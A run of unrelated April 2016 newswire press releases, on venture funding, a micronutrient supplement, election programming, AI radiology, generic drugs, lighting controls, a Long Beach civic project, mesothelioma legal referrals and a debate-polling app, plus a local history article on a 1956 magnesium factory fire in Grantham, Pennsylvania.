Founded in 2000, GGV Capital leverages a unique model of a single, global team investing across the U.S. and China. The managing partners of the new funds are Jixun Foo, Jenny Lee, Hany Nada, Jeff Richards, Glenn Solomon, and Hans Tung, all of whom were managing partners of GGV Capital V.

"GGV Capital leverages its experience in the U.S., China and Asia broadly to gather sector insights that enhance its ability to invest beyond local economic cycles and to consistently deliver top-tier returns to its investors. We are thrilled to invest again with one of the top performing global venture capital firms," said Andy Hayes, Private Equity Investment Officer of limited partner Oregon State Treasury.

"GGV's understanding of innovation and market dynamics in both Silicon Valley and China is unparalleled in the venture community," said CC Zhuang, founder of Qunar. "The firm was an early investor in Qunar and is a terrific partner to work with for entrepreneurs who are thinking big and thinking global."

Focus on Early and Growth Stage Investment Continues

GGV Capital is extending its early stage investing focus with the launch of GGV Discovery I to focus on seed and early stage entrepreneurs. Approximately 80% of the capital from the Discovery fund will be invested in the vibrant and fast-growing Chinese startup market and 20% with global-minded entrepreneurs in the U.S. and other markets. GGV Capital VI, the firm's main fund, will continue its focus on early and growth stage companies. Since 2011, more than 70% of the firm's investments have been at the seed, Series A or Series B stage, including Boxed, Domo, eHang, Musical.ly, OpenDoor, Tujia, Wish, Xiaohongshu and Xiaomi Ecosystem companies. Many of these early stage companies are increasingly cross border in their orientation. Additionally, investors in the firm's Entrepreneurs Fund include the founders of Alibaba, Baidu, Qunar, Tencent, UCWeb, Yahoo and more.

The Funds will continue the firm's focus on three distinct sectors: Social/Mobile Commerce, Internet of Things (IoT)/Robotics, and SaaS/Cloud.

"GGV Capital's unique perspective on the technology market, particularly around the global audience for mobile technology, content and commerce, enables the firm to see opportunities other firms don't see," said Peter Szulczewski, CEO and co-founder of Wish. "The next generation of entrepreneurs wants a financial partner who can provide more than capital and truly help with global expansion, which is GGV's forte."

"We have been impressed with GGV's approach to cross border investing. Their leadership is evident in the caliber of companies that choose to work with them on a global basis," said Nicholas Kong, CIO, National University of Singapore.

About GGV Capital

GGV Capital is a venture capital firm based in Silicon Valley and China that has been successfully partnering with leading technology entrepreneurs since 2000. The firm was founded with the unique idea to have one team investing in both China and the U.S., the two largest economies in the world. With $3.8 billion under management across 8 funds, the GGV portfolio includes Airbnb, Alibaba, AlienVault, Appirio, BlueKai, Boxed, Buddy Media, Chukong, Curse, Diandian Yangche, Didi Chuxing, Domo, Douguo, DraftKings, Endeca, EHANG, FlightCar, Flipboard, Grab, Glu Mobile, HotelTonight, Houzz, IWJW, Keep, Kingsoft WPS, Light Chaser Animation, Meilishuo, MediaV, Misfit, Musical.ly, Nimble Storage, Niu, OpenDoor, Pactera, Pandora Media, Percolate, Quixey, Qunar, Reebonz, Slack, SmartMi, SoundCloud, Square, SuccessFactors, Synack, Tile, Tujia, UCWeb, Wish, Xiaohongshu, Xiaozhan, YingYing, Youku Tudou, YY, Zendesk, Zepp Labs, Zimi, 1More, 21Vianet, and 51credit. For more information, visit www.ggvc.com and follow GGV Capital on Twitter (@GGVCapital) and WeChat (GGVCapital).

Photo - http://photos.prnewswire.com/prnh/20160412/354144

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SOURCE GGV Capital

Related Links

http://www.ggvc.com


Daily Essential Nutrients, featured by NewsHub in their recent report on using micronutrients as an alternative treatment for pediatric ADHD (video above), is a clinical micronutrient supplement made by Hardy Nutritionals.

A growing number of prominent health professionals independent of Hardy Nutritionals, including Dr. Charles Popper of Harvard Medical School and Dr. Scott Shannon, past president of the American Holistic Medical Association (AHMA), consider David Hardy, Founder and CEO of Hardy Nutritionals, to be one of the world's foremost experts in the therapeutic use of essential nutrients and consistently recommend Daily Essential Nutrients to their patients.

Harvard's Dr. Charles Popper, who recently published an 80 page review in the Child and Adolescent Psychiatric Clinics of North America medical journal entitled Single-Micronutrient and Broad-Spectrum Micronutrient Approaches for Treating Mood Disorders in Youth and Adults, reported, "I have many patients who previously required close medication management on conventional drugs, but who now check in every 3 to 12 months with little symptomatology to report."

Dr. Popper has made multiple presentations across the US educating other health professionals on the use of micronutrients in psychiatry.

Micronutrient Research Presented at the American Psychiatric Association

Dr. Popper recently presented micronutrient research at the American Psychiatric Association (APA) 2015 annual meeting in Toronto, Canada with Dr. Julia J. Rucklidge, Dr. Bonnie J. Kaplan, and Dr. Barbara L. Gracious. The 3 hour symposium on nutritional psychiatry was entitled, "Mineral-Vitamin Combinations as Primary Treatment of Psychiatric Symptoms". Similar micronutrient research will again be presented at the APA in 2016.

AutismOne Featuring David Hardy as Nutrition Expert at Annual Conference

Hardy Nutritionals is also pleased to announce that its founder David Hardy is being featured by AutismOne as a nutrition expert at its May 2016 conference in Chicago, Illinois. Hardy will be speaking at the event on how micronutrients can optimize functionality, stabilize mood, and eliminate aggression in autism. Children and adolescents with autism have shown exciting clinical responses to this type of specialized clinical nutrition, emphasizing the absolute necessity of supplying adequate levels of all the essential nutrients to meet individual genetic needs.

To read more about the topic in this news release, visit the NutraTalk Blog.

For more information on Hardy Nutritionals, its clinical micronutrient treatment, Daily Essential Nutrients, or any other Hardy Nutritionals formulations, please visit www.HardyNutritionals.com or call 1(855) 955-1114 to speak with a Hardy Nutritionals representative. Hardy Nutritionals is a family-owned and operated company based in Alberta, Canada.

Media Contact:

Scott Turner

587-271-1114

Video - http://youtu.be/BbPhvmfh0iI

SOURCE Hardy Nutritionals

Related Links

http://www.hardynutritionals.com/


Tu Momento 2016 will include an extensive campaign to encourage Hispanics to vote as they under-index in participation. It is estimated that less than 50% of eligible Hispanics will actually vote in 2016. HITN is making the program and its short-versions available to educational institutions and organizations that can benefit from its use in the United States. Each of the capsules are available to be viewed today at this dedicated website: www.tumomento2016.org .

"The 2016 election is going to be an opportunity for Hispanics to demonstrate its strength as a community by influencing the outcome of the 2016 presidential contest," said Mike Nieves, President and CEO, HITN. "Spanish-language media has a responsibility to deliver content to its audience so more Hispanics can participate in this important election. HITN understands this responsibility and is committed to helping Hispanics better understand on how the electoral process works."

Tu Momento 2016 will be hosted by acclaimed political commentator Gerson Borrero and will include a number of short and long form content that will commence in April all the way through Election Day in November. As part of this initiative, HITN will produce a one-hour special which focuses in providing detailed, yet simple to understand, explanations of how the complete electoral process works in the United States. Covering every step of the way from the moment every contender announces their intention to run for President to inauguration day.



The program will not mention any of the current candidates as it strives to become an evergreen piece that can be used as a reference for many years to come. This is the first program of its kind ever produced in Spanish-language. It has been shot in Ultra High Definition 4K technology and includes a sophisticated use of graphic elements that will make it very attractive and easy to understand.

In addition to the educational content, HITN will provide information and analysis coverage from the Primaries and will continue to do so for the Parties Conventions, the Debates, the General Election campaign and Election Day. Additional shows will cover the Republican Convention, Democrat Convention, Presidential Debates, and live Election Day coverage.

WHAT: HITN Presents Your Moment 2016, new programming designed to educate Hispanics on the electoral process WHEN: April 25th: will cover the primaries and caucuses

April 30th: will cover the electoral process, delegates and super delegates

May 15th: will cover the registration process and the Election Day process WHERE: HITN-TV( www.hitn.org/donde-ver-hitn )

Photo - http://photos.prnewswire.com/prnh/20160422/358983

SOURCE HITN-TV

Related Links

http://www.hitn.org


PHOENIX, April 22, 2016 /PRNewswire-USNewswire/ -- Imaging Advantage LLC (IA), the largest platform provider of cloud based radiology service in the United States, announced today the launch of a machine learning research initiative with leading faculty members from the Massachusetts Institute of Technology and Harvard Medical School/Massachusetts General Hospital, titled Singularity Healthcare .

Singularity is developing an artificial intelligence engine to be seamlessly incorporated into IA's proprietary exam routing technology, to instantly pre-read digital x-rays and identify potential areas of injury and disease, while continuously learning from IA's expanding database of 7 billion images. The algorithm will be applied before X-Ray images are routed to one of the 500 board certified radiologists connected in the cloud to IA's platform.

Combining business and academic power, Singularity seeks to provide a widely applicable solution to problems central to the U.S. healthcare system. X-Ray exams constitute 50% of all radiology tests in healthcare, and radiology is the significant limiting factor in hospital emergency department patient flow and treatment.

The initiative brings together leading academicians from two renowned programs at MIT and Harvard. SP Kothari, PhD, Gordon Y Billard Professor of Management at MIT's Sloan School of Management will lead the project, working in conjunction with Dr. Sanjay Saini, Professor of Radiology at Harvard Medical School and Vice Chairman of Radiology at Massachusetts General Hospital (MGH) who will advise on imaging quality and utility to radiologists, and Kalyan Veeramachaneni, PhD, Principal Research Scientist at MIT's Institute for Data, Systems and Society.

"Inconsistency in testing and access to care contribute significantly to $1 trillion of waste in the $2.8 trillion U.S. healthcare industry," said Brian Hall, Imaging Advantage's President and COO. "If successful, Singularity will introduce a solution with potential to transform radiology by providing faster, more accurate and less expensive diagnostic testing, representing an indispensable innovation for radiologists."

Dr. Kothari added, "We have a number of opportunities for research and innovation at MIT, but were particularly intrigued by the bold initiative proposed by Imaging Advantage. Given IA's platform approach to healthcare delivery, national scale and significant imaging data set, and the contribution of Dr. Saini from MGH, one of the leading global radiology teaching and research institutions, the project is not only achievable, but also has potential to touch nearly every person in world. This is how we think artificial intelligence and deep learning should be developed and deployed."

"The proposed deep-learning solution combines all layers of machine learning into a single pipeline, and then optimizes and meshes with other machine-learning algorithms on top of it," said Dr. Kalyan Veeramachaneni. "Starting this endeavor with the enormous trove of meta data in Imaging Advantage's archives, we can learn how decisions made at the initial, raw representation stage impact the final predicted accuracy efficacy."

"We believe diagnostics is the gateway for the integration of artificial intelligence in healthcare," said Hall. "Once we successfully develop this mechanism for X-Rays, we see the potential to expand the technology to CTs and MRIs, as well as other areas of time consuming diagnostic testing. The goal is to create a useful tool for radiologists, who are in shortage both domestically and internationally. Radiologists will continue to be indispensable."

Singularity Healthcare  is being launched in Q2 of 2016. According to Dr. Kothari, "Given the advances in the field of artificial intelligence that have taken place at MIT and elsewhere, and Imaging Advantage's scale, we are not only optimistic about a successful outcome, but expect it to be realized on an accelerated schedule."

To learn more about the Singularity Healthcare  initiative, visit: www.imagingadvantage.com

About Imaging Advantage

Imaging Advantage is the leading platform provider of cloud based radiology, with more than 500 radiologists and 450 facilities across the United States and internationally connected to the IA platform. IA's customers include every major payor in the United States, and most of the largest healthcare systems, including the Department of Veterans Affairs. IA also provides its proprietary technology to the US Department of Defense. Learn more at http://www.imagingadvantage.com.

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SOURCE Imaging Advantage

Related Links

http://www.imagingadvantage.com


DUBLIN, April 23, 2016 /PRNewswire/ --

Research and Markets has announced the addition of the "Japan Generics Drug Market Outlook 2020" report to their offering.

(Logo: http://photos.prnewswire.com/prnh/20160330/349511LOGO )



Japan have one of the most advanced research and development facilities across the world contributing significantly to the development of healthcare infrastructure. Japan has opened its pharmaceutical market for foreign trade leading to higher input of drugs. Their population is going in downward spiral where number of young people are lesser then geriatric population. In this way, they have high demand for therapeutic products due which their pharmaceutical market is increasing.



Observation shows that Japanese pharmaceuticals market is heavily inclined towards consumption of branded drugs. Due to presence of higher technological capabilities they were able to commercialize innovative drugs. Significant investments were made in research and development segment due to which new products are being made. It promoted the utilization of branded drugs in Japanese market. Presence of universal healthcare system also allowed the patients to include generic drugs in their therapeutic regime. They to invest small out of pocket money while buying branded drugs as rest of the part is covered by the universal healthcare system. Branded drugs market got boost due to regulator's policies but these drugs are quite costly. As a result, stagnant economy is not able to sustain burgeoning financial pressure on healthcare system.

Japanese generic drugs market is largely unchurned due to which it offers significant commercialization opportunities. Both domestic and foreign pharmaceutical companies are expected to take advantage of this scenario. Japanese regulators have developed amenable rules due to which foreign pharmaceutical companies can venture in generic drugs segment. This will increase the competition and further decrease the prices of generic drugs in Japanese market. Moreover, it will build a strong supply chain due to which dearth of generic drugs will not occur in future.



Regulators will also be able to increase their consumption by promoting more numbers of patients opting for the generic drugs. In this way, they will be able to observe decrease in investments in healthcare system. To achieve higher cost savings, more work has yet to be done in coming years.

Prices of both generic and branded drugs are checked by Japanese regulators after every two years. This allows the patients to spend less money for treatment of their diseases in long-term scenario. But it could be observed that patients are not willing to switch to the generic drugs despite lesser cost. Main reason behind this fact is that cost difference between these drugs is not significant. Higher buying power of patients allow them to include costly branded drugs in their daily therapeutic regime. This scenario shows that Japanese regulators have to further decrease the prices of generic drugs in order to offer higher cost arbitrage. They also have to increase the uptake of generic drugs in order to decrease the prevalence of branded drugs as major component of healthcare system. Some of the measures have been implemented but their results are yet to be observed in coming years.



Key Topics Covered:



1. Introduction to Japan Generic Drug Market



2. Attractiveness of Japan Generic Market



3. Scenario of Generic Drugs in Japan



4. Super Generics in Japan



5. Different Parameters for Generic & Branded Drugs in Japan



6. Generic Active Pharmaceutical Ingredients in Japan



7. Health in Japan & Utilization of Generic Drugs



8. Healthcare System & Generic Drugs in Japan



9. Comparison of Generic Drugs in US & Japan

10. Japan Generic Drugs Market Analysis



11. Japan Generic Market Favorable Factors



12. Japan Generics Market Commercialization Challenges



13. Japan Generic Drugs Market Future Prospects



14. Competitive Landscape



- Actavis

- Eisai

- Fuji Pharma

- GlaxoSmithKline

- Hospira

- Meiji Seika Pharma

- Nichi-Iko Pharmaceutical

- Nipro Pharma

- Pfizer

- Sawai Pharmaceuticals

- Takeda Pharmaceutical

- Towa Pharmaceutical



For more information visit http://www.researchandmarkets.com/research/7289vp/japan_generics



Media Contact:

Research and Markets

Laura Wood, Senior Manager

[email protected]



For E.S.T Office Hours Call 1-917-300-0470

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SOURCE Research and Markets
PHILADELPHIA, April 22, 2016 /PRNewswire/ -- Lannett Company, Inc. (NYSE: LCI) today announced plans to co-develop a generic insulin pharmaceutical product for the U.S. market with its strategic partner in China, YiChang HEC ChangJiang Pharmaceutical Co., Ltd, an HEC Group company. The product is currently in late stage development. Lannett will manage the remaining clinical and regulatory steps specific for a U.S. Food and Drug Administration (FDA) license to market. Lannett has the exclusive U.S. marketing rights to the product. According to IMS, total U.S. sales of insulin pharmaceutical products were more than $21 billion for the 12 months ended August 2015.

"YiChang HEC ChangJiang Pharmaceutical Co. is a large pharmaceutical company with substantial drug development and manufacturing expertise," said Arthur Bedrosian, chief executive officer of Lannett. "Importantly, the company has developed a proprietary process for manufacturing the insulin protein and plans to build a dedicated facility for the manufacture of the insulin product for multiple markets around the world.

"For Lannett, generic insulin represents a significant growth opportunity and would allow us to participate in a multi-billion dollar product market. Moreover, if approved, the product complements and diversifies our offering in a substantial and vital area of the pharmaceutical industry. We are currently collaborating with HEC on five projects, which include the development of certain products and a distribution agreement."

About YiChang HEC ChangJiang Pharmaceutical Co., Ltd.:

YiChang HEC ChangJiang Pharmaceutical Co., Ltd., a publicly listed company in the Hong Kong Stock Exchange (1558.HK), focuses on the development, manufacturing and sales of pharmaceutical products in viral infections, endocrine and metabolic diseases and cardiovascular diseases in the People's Republic of China (PRC). HEC Pharm has a track record of developing, manufacturing and selling successful anti-viral products in the PRC. The leading product, Kewei (oseltamivir phosphate), is anti-influenza virus product. According to PICO, HEC Pharm was ranked amongst the top four pharmaceutical manufacturing companies in 2014 in the anti-influenza virus product market in the PRC in terms of sales revenue, and was ranked number one in the oseltamivir phosphate product category in the PRC in terms of sales revenue in each of 2013 and 2014.

About Lannett Company, Inc.:

Lannett Company, founded in 1942, develops, manufactures, packages, markets and distributes generic pharmaceutical products for a wide range of medical indications. For more information, visit the company's website at www.lannett.com.

This news release contains certain statements of a forward-looking nature relating to future events or future business performance. Any such statement, including, but not limited to, successfully co-developing and commercializing the generic pharmaceutical insulin product, whether expressed or implied, is subject to market and other conditions, and subject to risks and uncertainties which can cause actual results to differ materially from those currently anticipated due to a number of factors which include, but are not limited to, the risk factors discussed in the Company's Form 10-K and other documents filed with the SEC from time to time. These forward-looking statements represent the Company's judgment as of the date of this news release. The Company disclaims any intent or obligation to update these forward-looking statements.

Contact: Robert Jaffe

Robert Jaffe Co., LLC

(424) 288-4098

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SOURCE Lannett Company, Inc.

Related Links

http://www.lannett.com


MELVILLE, N.Y., April 22, 2016 /PRNewswire/ -- Leviton today announced its new Intellect Intelligent Fixture Control System, an energy-saving, code compliant solution which simplifies fixture control integration and operation. The system is designed for out-of-the-box Title 24, ASHRAE 90.1, and IECC code compliance and also meets the upcoming DesignLights Consortium (DLC) specifications for Advanced Lighting Controls.

Intellect delivers a fast and easy OEM solution for fixture manufacturers to integrate intelligent controls into their lighting fixtures. Intense Lighting, a Leviton Company, will demonstrate its new Intellect-enabled luminaires, powered by the new Leviton Intellect Intelligent Fixture Control System, at the Lightfair International 2016 tradeshow in San Diego, Ca. from April 26-28, 2016.

"The new Intellect Intelligent Fixture Control System allows us to offer a simplified, code compliant, advanced lighting control solution for our new Intellect-enabled light fixtures," said Jennifer Butler, director of marketing and product management, Intense Lighting. "The combination of the new controls and fixtures, as well as the Intellect app, delivers the innovative, smart wireless controls that Intense Lighting and Leviton customers have come to expect. We look forward to previewing this system at Lightfair International in advance of its availability later this year."

Easy to install, the plug-and-play Intellect fixture control system features self-commissioning capabilities, which locate, assign, auto-group and auto-zone all light fixtures in the space and set lighting levels based on a pre-determined logic without expensive wiring or commissioning. It utilizes local and cloud control for advanced lighting control, including 0-10V dimming, occupancy sensing and daylighting strategies. Intellect is ideal for retail spaces, restaurants, hospitality spaces, offices, classrooms and open spaces up to 100,000 square feet. The Intellect mobile application (app) allows the system to be wirelessly configured, controlled, monitored and scheduled via a Bluetooth enabled iOS or Android smart phone or tablet. Intellect also includes an energy metering feature which monitors energy usage for each fixture via the Intellect app.

Lightfair International attendees can get a first look at the new control system as Intense Lighting demonstrates its Intellect enabled luminaires at the Intense Lighting booth, #4706 from April 26-28, 2016.

About Intense Lighting

Intense Lighting is widely recognized as a solutions-based manufacturer of award-winning, sustainable lighting products. Acquired by Leviton in May 2015 as a standalone business unit, the company's innovative and energy efficient luminaires offer a wide variety of specification grade lighting solutions for the commercial, hospitality, supermarket, retail and residential markets. Customers can select from several broad-based product lines of LED downlights, track lights, and recessed multiples. In addition to interior lighting, Intense Lighting offers a complete product line of outdoor luminaries including bollards, landscape, step lights, wall cylinders, wall sconces, in-ground luminaires and our popular V-Rail, an LED illuminated rail system. For more information, visit: http://www.intenselighting.com.

About Leviton

Leviton is the smart choice, providing the most comprehensive range of solutions to meet the needs of today's residential, commercial and industrial buildings. Leveraging more than a century of experience, Leviton helps customers create sustainable, intelligent environments through its electrical wiring devices, network and data center connectivity solutions, and lighting energy management systems. From switches and receptacles, to daylight harvesting controls, networking systems, and equipment for charging electric vehicles, Leviton solutions help customers achieve savings in energy, time and cost, all while enhancing safety. For more information, visit www.leviton.com, http://www.facebook.com/leviton, http://twitter.com/leviton or http://www.youtube.com/Levitonmfg.

SOURCE Leviton

Related Links

http://www.leviton.com


The mix of high pressure hose water and burning magnesium seemed like a perfect storm to Fire Chief John D. Klinepeter of Dauphin County.

He was at the scene in Upper Allen Township on April 28, 1956 when an unexpected chemical reaction added to the chaos of a major fire at the Aircraft Engine and Parts Corp. building in Grantham.

The resulting explosion sent streamers of metal hundreds of feet skyward, mixing it with the swirling cyclone-shaped cone of yellow and black smoke that was visible for more than 20 miles, he wrote in a June 1956 article for the journal Fire Engineering.

By then, the blaze had been raging out of control for almost two hours. It started at 2:31 p.m. when a tongue of fire of unknown origin flashed from the degreaser and preservative room in the northwest corner of the first floor. It was Saturday and workers were in the process of shutting down the operation for the rest of the weekend.

First response

Within seconds of the cry of Fire, the entire shift of 38 employers converged on the area with extinguishers but the fire was being fed by large amounts of flammable solvents, oils and greases. It was beyond their capacity to fight, but they all made it out alive because of frequent fire drills.

While some employees rushed to close windows and starve the fire of oxygen from a westerly breeze, other men drove two forklifts out of the building, according to Klinepeter, then secretary of the Dauphin County Fire Chiefs Civil Defense Council. Nothing else was salvaged.

The article mentioned how Daniel Keefer, the Grantham fire chief, took the first fire call at 2:33 p.m. at his grocery store three blocks from the firehouse and a quarter mile from the factory. Six minutes later, the Grantham volunteers had rigged a hose-line to draw water from Trout Run into a side door of the plant.

Minutes later, Keefer radioed for two more pumpers and a ladder truck from Lower Allen Township, just eight miles to the east. By the time they arrived smoke filled the building interior and rolled out from every crack in the walls.

Then fate took control of the fire from the smoke-eaters, Klinepeter wrote. An explosion ripped upward from the solvent room through the second story rear, and blew a flaming hole in the roof above.

That first blast added oxygen causing the fire to sweep along the roof and fully engulf the second floor. There were flames shooting from at least 40 windows that had been blown out. More units were called in to not only contain the main fire but handle a problem that threatened the whole town of Grantham.

Community at risk

By 3:15 p.m., sparks and flaming debris had begun to fall on roofs all over the small community, Klinepeter wrote. Incoming firefighters were hard-pressed for a time fighting those secondary fires.

Several grass fires were started more than half a mile away, drawing more sorely needed manpower from the main fire, he added. The town was virtually undergoing a fire bath, but fortunately no serious fires were started.

A major portion of the building roof collapsed at about 3:45 p.m. releasing a final shower of sparks. From that point on, the focus turned to the main fire. The second floor gave way just after 4 p.m. dumping tons of airplane parts into the inferno on the first floor. This was followed soon after by the first magnesium explosion caused by a firefighter pouring water onto the blaze.

The battle to contain the fire continued all night into the following morning. Klinepeter wrote how sections of the second-story brick wall would collapse inward or outward keeping the volunteers at bay. At 10 p.m., crews pouring water into the office area hit a magnesium casing storage pit touching off a second chemical explosion that destroyed a large section of exterior wall. Shortly after 2 a.m., yet another magnesium explosion ripped through the center of the structure leaving molten debris behind.

Over 450 firefighters from Cumberland, Dauphin and York counties fought this fire for nearly 30 hours. They brought in 25 apparatus from a 15-mile radius of Grantham. About 40 volunteers were injured including two men who were hospitalized  one for a broken leg and one for burns to both legs, Klinepeter wrote. Others were treated for burns, acid burns, smoke inhalation and cuts.

Carlisle lends help

The Evening Sentinel mentioned how two apparatus were dispatched from Carlisle at around 4 p.m. April 28  a pumper from the Cumberland Fire Company and an emergency lighting unit from Empire Hook and Ladder Company

Firefighter Edward A. Hays told the newspaper that 20 volunteers from Cumberland were at the scene until 2 a.m. April 29. They laid three lines and had 1,650 feet in use, the Sentinel article reads. Water was pumped from a small creek about 500 ft. from the fireThe Hook and Ladder lighting truck was thrown into service at dark to light the area so firemen could continue their fight.

The firefighters had help. First-aid teams were organized to take care of the injured while a system was set up to refuel the fire engines working the pumps with water drawn from Trout Run and Yellow Breeches Creek. The women of Grantham joined forces with the ladies auxiliaries of the responding units to provide food to the firefighters.

In the end, the blaze destroyed the building causing $3 million in damage  the modern equivalent of $26.4 million.

Historical analysis

This was the first major fire in Cumberland County to use the Civil Defense radio network, said Randy Watts of Boiling Springs. A retired safety consultant for the insurance industry, Watts has experience as a volunteer firefighter and has written books on local firefighting history.

First installed in 1955, the network back then had only one frequency and one dispatcher on a shift, according to Watts. Still it was a better system than one that relied on phone calls being made to individual fire stations.

The building itself contributed to the fire. It had been a factory converted into a warehouse, Watts said. The government sold the company surplus airplane parts from World War II which were then cleaned, refurbished and resold at a profit.

He added the fire had plenty of fuel in the form of a roof, floor and interior walls constructed of wood along with the shipping crates and pallets the parts came in. Aircraft parts containing magnesium were probably concentrated at locations throughout the building as part of inventory control.

The fire started in an area using flammable solvents for degreasing, Watts said. There was little to no code enforcement back then and a factor in the spread of the fire was an inoperative fire door.

Even today, there are municipalities that lack fire codes requiring routine inspections of fire doors and other safety devices, according to Watts. He added even if the building had sprinklers, heat from the large amount of flammable material would have quickly overwhelmed the system.

Most of the apparatus responding to this fire were pumpers with a capacity of 500 gallons of water per minute, Watts said. By comparison, the apparatus in use today have a capacity of 1,500 to 2,000 gallons per minute. He added the hose used today is 15 times more efficient than what firefighters had available in 1956.

A chronic lack of volunteers means that manpower would be a bigger issue in 2016, Watts said. Back then, they got 450 firemen to turn out. Today, we would probably have 50-plus companies on the scene to get 100 firemen, maybe 120.
"We are excited to see this deal move forward and to meet the goals set by the City three years ago when it embarked on the Civic Center P3 procurement," said Mayor Robert Garcia. "I'd like to congratulate and thank our City Council, City staff, our partners, and the Plenary led consortium that helped us to reach this important milestone."

Plenary Group is the lead P3 developer, sole equity provider and financial arranger for the consortium. Other consortium members include Clark Construction, Edgemoor, Johnson Controls and SOM. Allianz, in a private placement, is providing US$237 million in long-term financing. Sumitomo Mitsui Banking Corp. is providing a US$213 million loan. Long Beach would contribute US$11.8 million in cash and land valued at nearly $30 million. Plenary is contributing $21 million in equity.

"Arup has been a real force behind our success with this project, helping us move it from a hunch to reality in such a short timeframe," said Michael Conway, Director of Economic and Property Development for the City of Long Beach. "They have shown great skill in helping the city and port navigate a very complex transaction, managing the entire process from the RFP to the end of negotiations. We picked the right advisor."

"A significant value added for the City is how the P3 model accelerated what would more conventionally have been a three to five year project development process using traditional project delivery methods to a two year process," said Orion Fulton, Arup's project team leader. Arup was recently retained to manage the design and construction process for the City and the design for the Port. Now construction begins and the next phase of this exciting project is being launched.

According to Ignacio Barandiaran, Arup's leader of transaction advice team, "We congratulate the City and the Port of Long Beach in achieving this notable milestone. The project is an investment in Long Beach's downtown that will generate jobs, attract new residents, and generate new tax revenues." The brand new state-of-the-art facilities  a City Hall, Port HQ, Main Library, Public Park and street improvements  are designed to be occupied within a week of a major earthquake and meet REDi Gold earthquake performance, a performance and rating system for operational resilience of buildings developed by Arup. These buildings will help both owners achieve improved staff satisfaction and operational efficiencies.

Arup's transaction advice team enables clients to reach their investment goals in infrastructure and real estate assets. Based on the integration of financial, technical, and commercial expertise the firm focuses on deal drivers, value opportunities, and mitigation of risk. This results in creative, practical, and informed advice that makes a real difference. Arup has provided transaction advice for a diverse range of projects including Presidio Parkway in San Francisco, the Los Angeles Convention Center, and the New Champlain Bridge in Quebec.

About Arup

The preeminent provider of consulting, planning, engineering, design and technical specialist services in the built environment, Arup aims to do the best quality work across diverse specialties to deliver value to its clients and achieve a positive impact on our world. The firm opened its first US office over 30 years ago and now employs 1,300 people in the Americas. Since its founding in 1946, members of Arup have developed transformative ways of working with its clients. The firm's unique version of employee-ownership promotes long-term thinking and significant investment in research and innovation for the benefit of its clients. For additional information, visit Arup's website at www.arup.com and the online magazine of Arup in the Americas at doggerel.arup.com.

Contact: Tami Hausman

[email protected]

646.742.1700

Contact: Rebecca Maloney

[email protected]

617.412.6632

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SOURCE Arup

Related Links

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WAHSINGTON, April 22, 2016 /PRNewswire/ -- The Mesothelioma Compensation Center is urging a person who has recently been diagnosed with mesothelioma or their family members to call them anytime at 866-714-6466 to learn firsthand why it is incredibly vital they be talking directly to one of the nation's top mesothelioma attorneys as opposed to playing mesothelioma lawyer roulette on the Internet.

Photo - http://photos.prnewswire.com/prnh/20160421/358257

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The Mesothelioma Compensation Center says, "When it comes to getting the best possible mesothelioma compensation settlement it is incredibly vital the person with this rare cancer hires one of the nation's most experienced attorneys. As we would like to explain anytime at 86-714-6466 there is a direct connection between skill of the lawyer and the amount of mesothelioma compensation a person with this asbestos exposure cancer might expect to receive.

"We are warning that the Internet is an incredibly confusing place to find one of the most experienced mesothelioma lawyers because most people recently diagnosed with mesothelioma confuse Internet ads that proclaim 'no lawsuit needed,' or 'just fill out the claims form' as good advice. In reality what they need to get is instant access to one of the nation's leading mesothelioma attorneys who consistently gets the best compensation results for their on a nationwide basis.

"In reality the mesothelioma compensation claims process is contested which means there will be asbestos trust lawyers, or law firms that will contest some to most claims. If you do not have a big league mesothelioma lawyer who consistently gets the best mesothelioma financial results for their clients there is a very good chance the diagnosed person or their family will get financially shortchanged."

Before a recently diagnosed person with mesothelioma in any state hires a lawyer to help out with a mesothelioma compensation claim please call the Mesothelioma Compensation Center anytime at 866-714-6466 to ensure they are talking directly to the nation's most experienced and skilled mesothelioma lawyers. http://MesotheliomaCompensationCenter.Com

Vital Mesothelioma Compensation Tip from the Mesothelioma Compensation Center for a recently diagnosed person with mesothelioma in any state or their family members:

"There is a new reality associated with some law firm advertising on the Internet-they want 40% to 45% of the compensation claim plus expenses. Before you hire a law firm to advance a mesothelioma claim please call us at 866-714-6466. The going rate for one of the best of the best mesothelioma lawyers in the United States is 33.3%. Please don't get overcharged and/or under compensated when it comes to a mesothelioma financial settlement.

is 33.3%. Please don't get overcharged and/or under compensated when it comes to a mesothelioma financial settlement. "We also want to emphasize the nation's leading mesothelioma lawyers not only want to talk to a diagnosed person with mesothelioma in any state or their family members; they also make house calls for what is typically a no obligation compensation evaluation." http://MesotheliomaCompensationCenter.Com

According to the CDC the states indicated with the highest incidence of mesothelioma include Maine, Massachusetts, Connecticut, Maryland, New Jersey, Pennsylvania, Ohio, West Virginia, Virginia, Michigan, Illinois, Minnesota, Louisiana, Washington, and Oregon. However, a diagnosed victim of mesothelioma could live in any state including California, New York, Florida, Texas, Indiana, Iowa, Kentucky, Tennessee, Georgia, Alabama, Nebraska, North Dakota, Colorado, Nevada, New Mexico, Utah, Arizona, Idaho, or Alaska. http://MesotheliomaCompensationCenter.Com

Mesothelioma is caused by exposure to asbestos. High risk groups for exposure to asbestos include the US Navy Veterans, power plant workers, shipyard workers, oil refinery workers, public utility workers, chemical plant workers, manufacturing, or industrial workers, plumbers, electricians, welders, auto mechanics, machinists, construction workers, steel mill workers, or miners. Typically the exposure to asbestos occurred in the 1950's, 1960's, 1970's, or 1980's.

For more information about mesothelioma please refer to the National Institutes of Health's web site related to this rare form of cancer: http://www.nlm.nih.gov/medlineplus/mesothelioma.html

Media Contact:

M. Thomas Martin

866-714-6466

SOURCE Mesothelioma Compensation Center

Related Links

http://mesotheliomacompensationcenter.com


ALLENTOWN, Pa., April 22, 2016 /PRNewswire/ -- KDG (formerly The Kyle David Group) and HCD Research have teamed up to create a mobile app that collects realtime voter feedback on candidates during a debate and beyond. Last week, the app debuted to a user base of nearly 350 as candidates Bernie Sanders and Hillary Clinton took to the stage in Brooklyn.

Photo - http://photos.prnewswire.com/prnh/20160421/358534

After each candidate made remarks on a specific issue, users were given only a few minutes to provide feedback on the believability, credibility, and viability of each of the candidate's responses and ideas. That data was reported out in realtime at www.debaterate.com. In addition to feedback on the debate, users have been issued 5 second polling questions daily.

"This project really began as an experiment to see if we could engage the electorate in a more meaningful way than just posts on social media. We've been so happy to have HCD innovate with us and participate in the experiment," remarked Kyle David, CEO of KDG. "The quality of the data that we are receiving is incredibly telling. For data wonks like myself, it is a joy to analyze."

Since the debate, the user base has swelled to over 500 users and counting. Those users have responded to the following daily polls:

4/16 - Does the Pope's tacit "endorsement" of Bernie Sanders matter to you as a voter? Yes - 66% No - 34%

